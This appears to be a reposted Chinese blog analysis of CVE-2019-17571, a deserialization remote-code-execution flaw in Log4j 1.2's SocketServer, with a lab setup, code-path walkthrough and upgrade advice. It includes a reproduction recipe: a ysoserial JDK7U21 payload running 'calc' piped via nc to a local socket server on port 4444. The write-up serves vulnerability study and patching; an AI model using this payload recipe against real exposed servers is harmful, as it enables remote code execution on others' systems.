Apache Log4j 漏洞分析
僅用于研究漏洞原理,禁止用于非法用途,后果自負!!!
CVE-2019-17571
漏洞描述
Log4j是美國阿帕奇(Apache)軟體基金會的一款基于Java的開源日志記錄工具,Log4j 1.2版本中包含一個SocketServer類,在未經驗證的情況下,該SocketServe類很容易接受序列化的日志事件并對其進行反序列化,在結合反序列化工具使用時,可以利用該類遠程執行任意代碼,
環境搭建
方便測驗,添加JDK7U21的漏洞環境
- 新建Maven專案,pom.xml中添加
<dependencies>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
</dependencies>
- 撰寫測驗方法
public class CVE_2019_17571 {
private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
public static void main(String[] args) {
System.out.println("start:");
String[] argss = {"4444", "src/log4j.properties"};
SimpleSocketServer.main(argss);
log.info("succ");
}
}
- Ysoserial生成POC(JDK7U21),發送POC
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser
cat poc.ser | nc 127.0.0.1 4444
漏洞分析
- org.apache.log4j.net.SimpleSocketServer#main()
首先開啟Log4j自帶的SocketServer服務器時,會監聽設定的埠,然后獲取Socket物件,進入SocketNode類進行處理.

- org.apache.log4j.net.SocketNode
SocketNode類的構造方法中會對socket接收的資料封裝為一個Object流物件.

- org.apache.log4j.net.SocketNode#run()
在run()方法中直接進行反序列化

漏洞修復
目前官方已在Apache Log4j 2.8.2版本之后修復了該漏洞,請受影響的用戶升級至2.8.2 或更高的版本進行防護.
參考
【威脅通告】Apache Log4j 反序列化遠程代碼執行(CVE-2019-17571)漏洞威脅通告
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/5378.html
標籤:訊息安全
